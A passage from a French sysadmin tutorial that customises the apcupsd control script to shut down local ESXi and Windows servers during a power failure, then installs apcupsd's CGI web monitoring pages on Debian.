printf "Continuing with shutdown." | ${WALL}
fi
;;
failing)
echo "Battery power exhausted on UPS ${2}. Doing shutdown." | ${WALL}
;;
timeout)
echo "Battery time limit exceeded on UPS ${2}. Doing shutdown." | ${WALL}
;;
loadlimit)
echo "Remaining battery charge below limit on UPS ${2}. Doing shutdown." | ${WALL}
;;
runlimit)
echo "Remaining battery runtime below limit on UPS ${2}. Doing shutdown." | ${WALL}
;;
doreboot)
echo "UPS ${2} initiating Reboot Sequence" | ${WALL}
${SHUTDOWN} -r now "apcupsd UPS ${2} initiated reboot"
;;
doshutdown)
##############################################################################################
#-----------------------------------PERSONNALISATION------------------------------------------
##############################################################################################
echo "****** Executing ESXi(s) and Windows Servers Shutdown Command ******" | ${WALL}

echo "****** Arret de ESXi 1 ******" | ${WALL}

/usr/bin/plink -ssh -2 -pw monsuperpassword root@192.168.1.1 "/sbin/shutdown.sh && /sbin/poweroff"
echo "***** Arret de ESXi 2 *****" | ${WALL}
/usr/bin/plink -ssh -2 -pw monsuperpassword root@192.168.1.2 "/sbin/shutdown.sh && /sbin/poweroff"

echo "**** Arret du Serveur Windows Physique"
net rpc shutdown -f -t 0 -C 'Panne Electrique' -U administrateur%monsuperpassword -I 192.168.1.3

echo "UPS ${2} initiated Shutdown Sequence" | ${WALL}
${SHUTDOWN} -h now "apcupsd UPS ${2} initiated shutdown"
###############################################################################################

;;
annoyme)
echo "Power problems with UPS ${2}. Please logoff." | ${WALL}
;;
emergency)
echo "Emergency Shutdown. Possible battery failure on UPS ${2}." | ${WALL}
;;
changeme)
echo "Emergency! Batteries have failed on UPS ${2}. Change them NOW" | ${WALL}
;;
remotedown)
echo "Remote Shutdown. Beginning Shutdown Sequence." | ${WALL}
;;
startselftest)
;;
endselftest)
;;
battdetach)
;;
battattach)
;;
*) echo "Usage: ${0##*/} command"
echo " warning: this script is intended to be launched by"
echo " apcupsd and should never be launched by users."
exit 1
;;
esac

Voila. Il ne reste plus qu’a réinitialiser le service apcupsd
/etc/init.d/apcupsd force-reload
Mise en place des scripts CGI

Un certain nombre de scripts CGI existent afin de contrôler l’état de l’onduleur à distance.
Sur DEBIAN, il faut installer le paquet apcupsd-cgi et un serveur Web pour pouvoir les consulter à distance

# On install apache et apcupsd-cgi
apt-get update && apt-get install apache2
#on active CGI avec apache
a2enmod cgi
#on installe le l'add-on de apcupsd
apt-get install apcupsd-cgi
# on vérifie que les scripts sont bien présents
ls -l /usr/lib/cgi-bin/apcupsd/
total 112
-rwxr-xr-x 1 root root 27040 avril 14  2015 multimon.cgi
-rwxr-xr-x 1 root root 23104 avril 14  2015 upsfstats.cgi
-rwxr-xr-x 1 root root 27040 avril 14  2015 upsimage.cgi
-rwxr-xr-x 1 root root 31296 avril 14  2015 upsstats.cgi

On peut donc maintenant accéder à l’interface Web par l’adresse:

http://ip-de-la-machine-debian/cgi-bin/apcupsd/multimon.cgi

Et en cliquant sur le lien: